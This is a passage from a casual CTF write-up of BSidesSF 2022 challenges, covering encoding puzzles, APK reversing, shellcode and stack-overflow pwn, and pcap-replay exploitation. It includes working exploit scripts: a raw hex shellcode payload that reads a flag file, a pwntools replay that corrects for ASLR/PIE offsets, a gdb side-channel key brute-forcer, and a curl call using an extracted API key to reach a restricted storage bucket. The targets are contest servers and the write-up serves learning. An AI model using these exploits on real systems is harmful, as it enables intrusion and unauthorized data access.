Page MenuHomedesp's stash

bsidessf22.md
No OneTemporary

bsidessf22.md

### codetalker
4 layers of encoding
- first is traversing the maze with the provided path to get the base64
- the main problem with this is theres not really a way to tell the starting point - until you realize `==` is always at the end so we can just traverse backwards (this will be a recurring theme)
- another more minor problem is that the maze wraps around, so you'll need to do modulos too
- also the newlines made my traversal script go weird before i realize i shouldve truncated those lmao
- file says its archive, so extracting it is
- second one is a weird line of characters along with a bunch of data encoded with those chars
- i somehow instantly thought its substitution cipher so i tried to spot patterns (namely the aforementioned `=` padding)
- turns out its just those chars mapped to `/[A-Za-z0-9+/=]/` in sequence lol
- replacing those chars yield us another base64, again archive
- this time we are given what looks like a split hex dump, but the hex bytes doesnt really match up
- also theres `eape\nxml` in the first 2 lines so i tried searching that up
- i thought it was sth related to xml but nope this random doc i found https://readthedocs.org/projects/lantern-crypto/downloads/pdf/latest/ had exactly what i needed lmao
- so i just implemented the column stitching algo and we get another archive this time in hex form
- finally this one is encoded in upper case and lower case phi
- i was thinking binary would store too little information so its not gonna be that but my teammate [@JJ](https://maplebacon.org/authors/apropos/) was like what else could it be so i tried it out and turns out its actually the flag lmao guess i overestimated the bits needed for plaintext
finally we get `CTF{layers_of_meaning}`
```py
import base64
# starting = (30-12, 38)
# encoded = ''
#from 7zip
# with open('codes~', 'r') as f:
# data = f.readlines()
# path = "".join(data[1:9]).replace('\n', '')[::-1]
# print(path)
# grid = [l.replace('\n', '') for l in data[11:]]
# cursor = starting
# for d in path:
# #directions are flipped; cursor[0] is y and 1 is x
# encoded += grid[cursor[0]][cursor[1]]
# print(encoded)
# if d == 'U':
# cursor = (cursor[0] + 1, cursor[1])
# elif d == 'D':
# cursor = (cursor[0] - 1, cursor[1])
# elif d == 'L':
# cursor = (cursor[0], cursor[1] + 1)
# elif d == 'R':
# cursor = (cursor[0], cursor[1] - 1)
# cursor = (cursor[0] % len(grid), cursor[1] % len(grid[0]))
# print('dir', d)
# print(cursor, len(grid), len(grid[0]))
# with open('decoded.bin', 'wb') as f:
# f.write(base64.b64decode(encoded[::-1]))
#from 7zip again
# with open('decoded', 'r') as f:
# data = f.readlines()
# mapping = {}
# for i, c in enumerate(data[0]):
# mapping[c] = data[1][i]
# encoded = ''.join(data[2:]).replace('\n', '')
# print(encoded)
# print(''.join([mapping[c] for c in encoded]))
# with open('decoded2.bin', 'wb') as out:
# out.write(base64.b64decode(''.join([mapping[c] for c in encoded])))
#from 7zip again
# with open('decoded2', 'r') as f:
# data = f.readlines()
# reconstructed = ''
# for i in range(0, len(data), 2):
# print(data[i], data[i+1])
# for j in range(len(data[i])):
# reconstructed += data[i][j]
# if len(data[i+1]) > j:
# reconstructed += data[i+1][j]
# print(''.join(reconstructed))
# #from cyberchef
# with open('decoded3.bin', 'wb') as out:
# out.write(base64.b64decode('XQAAAAT//////////wBnoZXKXOw8s/dFlr1e6lEOuk7VhaoCxfV8YF6o2J7QTzfO9SRNMhd9c9K5BIOX1JS/Xn/S5CvhBFVgBwQITaoIKHEA/Q3OBQ=='))
#from 7zip again
with open('decoded3', 'r', encoding='utf-8') as f:
data = f.readlines()
mapping = {'φ': '0', 'Φ': '1', '\n': ''}
s = ''.join([mapping[c] for c in ''.join(data)])
print(int(s, 2).to_bytes((len(s) + 7) // 8, byteorder='big'))
```
### monstera
usual dex2jar, apktools stuff to unpack and inspect with enigma
there are strings called "parts" in each of the views (part2-4), which seems to be base64 encoded with one being int array (which turned out also to be base64 in ascii)
but part1 was missing until [@JJ](https://maplebacon.org/authors/apropos/) realized its in the resources class so i just searched the string up in the unpacked res directory and grabbed that base64
stitching the parts tgt gives us `CTF{Rev3rs3Th3AppN0wYay}`
### shorai
lol crypto re chall? lemme instruction count it instead
the mmaps and dlfcn stuff reminds me of a packer so i tried to breakpoint at the oep before i realized it never even got reached coz i need to provide the decryption key lmao
so i looked into validate_key and wait they are traversing it character by character and exiting when the key becomes invalid? aint this prime instruction count target lmao theres even a counter variable for us to use
copying the solve script from maplectf and altering it slightly gives us
```py
from pwn import *
import string
flag = ''
alpn = '0123456789abcdef'
while len(flag) < 65:
for c in alpn:
io = process(['/usr/bin/gdb', '-q', './shorai'])
io.sendline('b *(validate_key+0x52)')
print(flag + c + 'a'*(64-len(flag)))
io.sendline('set args ' + flag + c + 'a'*(64-len(flag)) + '')
io.sendline('start')
io.recvuntil('Temporary breakpoint')
io.recvuntil('\n(gdb) ')
io.send('continue\n')
io.recvuntil('Breakpoint 1,')
io.recvuntil('\n(gdb) ')
io.sendline('x/b $rsp+0x2c')
out = io.recvuntil('\n(gdb) ')
print(out)
count = int(out.split(b':\t')[1].split(b'\n')[0].decode())
print(c, count)
if count >= len(flag) + 2:
flag += c
io.close()
break
io.close()
```
one thing to note is that the validate_key method only checks nibbles so thats the chars im checking only
and ey that one worked so time to jump to the unpacked oep
guess what the flag is right there in the IDA decomp LOL `CTF{r3v3rsing_for_funds_and_profits}`
### loadit 1-3
looks like the author wants us to do some LD_PRELOAD stuff, but what if i just
```py
print(bytes([a ^ b for a, b in zip(b'\xa3\x911\x93\xb8D\xe3,\xb8\xf1\x89|x\xa9\x14W\xff\x03F\x1d*\x03\xd8\xe5Fq\x1c\x8d\x00', b'\xe0\xc5w\xe8\xd4+\x82H\xe7\x98\xfd#\x14\xc0\x7f2\xa0z)hud\xb7\x91\x19\x18h\xf0\x00')]))
print(bytes([a ^ b for a, b in zip(b'\t\xa9\xd4U\r=\xcdtL\x9b$\xbe\x8c\x9d\x926\x05T\xaf\xe7\x10\x8c\xd4\xd9\xaf\xec$\x8f\x1f\x00', b'J\xfd\x92.dS\x92\x00$\xfe{\xce\xe5\xed\xf7ic=\xd9\x82O\xee\xad\x86\xc9\x85R\xeab\x00')]))
print(bytes([a ^ b for a, b in zip(b'#HW \x91K\xe4\xa1\xd1k\x881pe\xe5\x0b4\xde\x030\xc3z\x9d:c\x9e|0\xb6\r\xc7\x00', b'`\x1c\x11[\xf8\x14\x93\xc8\xbf4\xe1n\x07\x0c\x8bTP\xb7mW\x9c\x1e\xf4T\x04\xc1\x18Y\xd8j\xba\x00')]))
```
yep all of the binaries just xors 2 byte arrays to get the flag after you finish the LD_PRELOAD bypass stuff lmfao
`CTF{load_it_like_you_got_it}`
`CTF{in_the_pipe_five_by_five}`
`CTF{i_win_i_win_ding_ding_ding}`
### shurdle 1-3
this was pretty fun going back to the basics to do shellcode
their ui for the chall series is also really well made too its pretty convenient and nice looking
though apparently if you segfault the chall will just spew out the flag along with other debug info LOL
found that out coz i didnt want to write the last exploit in shurdle3 and used pwntools for it instead which segfaulted for some reason
hey i still got the flags thats all that matters
(also this prob wouldve been solved way quicker if i just used pwntools for everything lmao but hey thats no fun)
`CTF{return_to_me}`
`CTF{returning_where_we_return}`
`CTF{going_a_little_meta}`
### 0x41414141
name implies stack smashing lmao
opening it in IDA to get the size of the char array and we can change it to exactly what we want
tbh we couldve just spammed `A`s to get the flag too it doesnt have a length check
`CTF{pwning_has_begun}`
### arboretum
again the usual stuff with `apktools d` and `dex2jar`, then go in with enigma and look at the relevant classes
seems like theres a fetcher that fetches a google cloud file that we wouldnt normally be able to access, which is restricted to only accessing firebase links
so i looked up how to get the firebase link without needing the app using curl which exists https://firebase.google.com/docs/dynamic-links/rest but needs an api key
so i also looked up how to extract that too and turns out its just called `google_api_key` https://blog.dipien.com/how-to-increase-the-security-of-the-api-keys-created-by-firebase-e9be0925526b
with a curl we can get the link
```
$ curl -X POST "https://firebasedynamiclinks.googleapis.com/v1/shortLinks?key=AIzaSyBzJByNMwCrFIOWzGpiFasuYWNV5rZdRK8" -
H "Content-Type: application/json" --data '{"longDynamicLink": "https://bsidessfctf2022.page.link?link=https://storage.cloud.google.com/arboretum-images-2022/tree1.png&apn=com.bsidessf.arboretum"}'
{
"shortLink": "https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA",
"warning": [
{
"warningCode": "UNRECOGNIZED_PARAM",
"warningMessage": "Android app 'com.bsidessf.arboretum' lacks SHA256. AppLinks is not enabled for the app. [https://firebase.google.com/docs/dynamic-links/debug#android-sha256-absent]"
}
],
"previewLink": "https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA?d=1"
}
```
and https://arboretum-e83f3dfd.challenges.bsidessf.net/get-nft?url=https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA does indeed give us a tree pic
but now the problem comes - yea ok the flag is probably on the cloud, but how do i access it
so i tried accessing out of bounds pics like tree6 or even the whole https://storage.cloud.google.com/arboretum-images-2022/ dir but both just 500 internal server error'd
the short link for the dir one couldnt even be created coz its restricted apparently
but then i was like wait usually its flag.txt but since it says explicitly that its arboretum-***images***-2022 why not try flag.png
and it actually got me the flag lmao
i wonder how to actually do it legitimately tho coz no way thats the intended solution
`CTF{L3afM3Al0n3}`
### dual type multi format
"new *riff* on an old format" - riff is the base for webp so its probably extracting data from the riff chunks
[@JJ](https://maplebacon.org/authors/apropos/) did exactly that and got a wav file which sounds like telephone codes like those ones in utctf and ritsec aka dtmf
but the problem is the tool we used to solve that was down lmao so we had to find another one but none works well enough
the closest is https://unframework.github.io/dtmf-detect/ but it doesnt support the ABCD codes
that is until i realized i can breakpoint in firefox at when it defines the frequencies and coders to change it to include the ABCD freqency column lmao
adding this right after the 2 vars got defined gives us the ABCD column ready to go:
```js
bankList = (function() {
var i, len, ref, results;
ref = [[697, 770, 852, 941], [1209, 1336, 1477, 1633]];
results = [];
for (i = 0, len = ref.length; i < len; i++) {
freqSet = ref[i];
results.push((function() {
var j, len1, results1;
results1 = [];
for (j = 0, len1 = freqSet.length; j < len1; j++) {
freq = freqSet[j];
results1.push(new FilterThresholdDetector(new FrequencyRMS(context, freq)));
}
return results1;
})());
}
return results;
})();
coder = new Coder(new BankSelector(bankList[0]), new BankSelector(bankList[1]), ['1', '4', '7', '*', '2', '5', '8', '0', '3', '6', '9', '#', 'A', 'B', 'C', 'D']);
```
`4354467B6469616C5#665#666#725#666C61677D` and we get all of the codes decoded eyy
looking back at the webp image the dial pad is clearly modified and it matches the dtmf pad except * and # is now E and F which signifies its probably hex code
changing the # in the string we got yields us exactly the flag in hex: `CTF{dial_f_for_flag}`
### pwncaps 1-2
copying the payload in the pcap right before the one that gives NOFLAG solves the chall for the first one????
`CTF{pcaps_the_way}`
but the second one was pretty cool lmao
really fun to finally automate some pcap analysis with scapy
at first i just tried to send all the payloads in the pcap that was sent to the server (server being the one that sent NOFLAG), but ofc that was way too quick for the server to catch up
so i tried syncing it up trying to get pwntools to recvuntil the next packet data which should be a response but then theres zero byte packets all scattered throughout the pcap from both client and server so i had to filter those out too
but then its still not working it just freezes after i send the data
then eventually i realized the `-93: ` line is probably a PIE leak since it changes randomly every time the programs run so i tried to offset everything using it
but that was just too scatterfiring and other values thats clearly not an address got changed too
so i restricted it to some big number so that its likely an address but it still didnt work
eventually when i was printing everything and handpicking things that looks like addresses i noticed wait why does `0x8044f6f7` `0xf044f6f7` `0x904cf4f7` look like addresses but addresses dont change their upper bytes with their lower bytes keeping constant usually
then i had the revelation: its flipped endianness
flipping them for both the offset calculation and the int we send, then restricting the values we change to 0xf7000000 finally yields us the flag
`CTF{finding_offsets_can_be_hard_amirite}`
```py
from pwn import *
from scapy.all import *
#part 1
p = remote('pwncap-5d438dc7.challenges.bsidessf.net', 5555)
p.send(bytes.fromhex('010feb425f807712414831c004024831f60f056681ec0001488d34244889c74831d266ba00014831c00f054831ff4080c7014889c24831c004010f054831ff4831c0043c0f05e8b9ffffff2f686f6d652f6374662f666c61672e747874414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141771240000000000041'))
p.interactive()
#part 2
pcap = rdpcap('pwncap2.pcap')
offset = 0
lastcheck = b''
p = remote('pwncap2-37de32a2.challenges.bsidessf.net', 5555)
p.recvuntil('Menu')
for packet in [pkt for pkt in pcap if TCP in pkt and pkt[IP].src == '172.17.0.1' and len(bytes(pkt[TCP].payload)) > 0]:
#get supposed payload from client (cannot directly use since PIE is enabled)
payload = bytes(packet[TCP].payload)
try:
#calculate offsets from leak; program sends us the int in big endian so we need to flip it to apply offset
val = struct.unpack("<I", struct.pack(">I", int(payload.decode())))[0]
print(val, hex(val))
if b'value' in lastcheck and val > 0xf7000000: #value is likely address
val -= offset
print(val, hex(val))
tosend = struct.unpack("<I", struct.pack(">I", val))[0] #flip it back to big endian
p.sendline(tosend)
except:
#likely menu operations, just send raw
print(payload)
p.send(payload)
#get response payload from server; ignore empty packets
check = next(bytes(pkt[TCP].payload) for pkt in pcap[pcap.index(packet)+1:] if TCP in pkt and pkt[IP].src == '172.17.0.5' and len(bytes(pkt[TCP].payload)) > 0)
if b'-93: 3863474679' in check: #initial PIE offset leak
#just like above, we need to flip endianness to calculate
real = struct.unpack("<I", struct.pack(">I", int(p.recvuntil('\n\n').split(b'-93: ')[1].split(b'\n\n')[0].decode())))[0]
offset = struct.unpack("<I", struct.pack(">I", 3863474679))[0] - real
print('off', hex(real), hex(offset))
elif b'NOFLAG{get_your_own_flag}' in check: #we are supposed to get the flag here
p.interactive()
break
else: #wait until the supposed response is received to avoid spamming
print('check', check)
lastcheck = check
p.recvuntil(check)
```
### loca
was so lost until my laptop decided to update its ASLR base lmfao
binary was simple, i couldve just copied most of the calculation codes from IDA and reimplement it in python to get it working locally
but it never worked remotely for some reason
while testing i noticed something really weird
there was always this weird `▼≡▼` symbol locally that gets printed but it doesnt match the remote one
so i thought its related to encoding but changing encoding and doing a lot of things related to that like null terminators and new lines all didnt work well
eventually from pwntools i realized that kinda looks like an address and i checked IDA and it actually is the char* ptr for the IV string
but then the remote address was `0xECF01F` whereas my local one was `0x1FF01F` which made no sense that they are reading something different remotely since ECF01F aint a valid address no matter how i look at it unless its ASLR
but ASLR shouldnt change the IV string either so i had no idea
eventually i came back on the second day and my laptop probably reset the ASLR base after the sleep
and my local script stopped working lmao which is a really good sign since i can debug whats different now
turns out the value that they xor the IV with ALSO changes with the ALSR base
found that out after subtracting the new one with the old one
well then mystery solved i just need to subtract the value with the ASLR base and add the remote base `0xEC0000` back
voila `CTF{location_location_relocation}`
```py
from pwn import *
p = remote('loca-d9ca6ad4.challenges.bsidessf.net', 8881)
#p = process('loca.exe')
str2 = p.recvuntil(b'response?').split(b'Challenge: ')[1].split(b'\r\n')[0]
print(str2)
#str2 = b"H'r(?{ZQW(=kx i ;urx#.fv7JIh iT" #sanity check
p.send('A'*31 + '\n')
aslr = int.from_bytes(p.recvuntil(b'2 of 3)\r\n').split(b'\r\n')[2][:3], byteorder='little') & 0xFF0000
print(hex(aslr))
v21 = 0xABD15330 - 0x1F0000 + aslr #ASLR base change affects v21 - remote is EC from the "your response" 0xECF01F leak
v20 = b'THIS_IS_KINDA_SORTA_MAYBE_AN_IV!!'
print(v20)
for i in range(31):
print(hex(v21))
str2 = str2[:i] + bytes([((v21 & 0xFF) ^ str2[i]) % 0x5F + 32]) + str2[i+1:]
v21 = v20[i] ^ (v21 >> 1)
print(str2.decode())
p.send(str2)
print(p.recvall(timeout=1))
```
i still wanna know what made the ASLR change though
ik IDA made it a glaring red to indicate the memory address is invalid but why was it treated as a memory address
windows quirks windows quirks

File Metadata

Mime Type
text/x-python
Expires
Mon, Jul 7, 5:37 PM (1 d, 14 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
76/4f/f52b795a070211e6cb79ff86a424

Event Timeline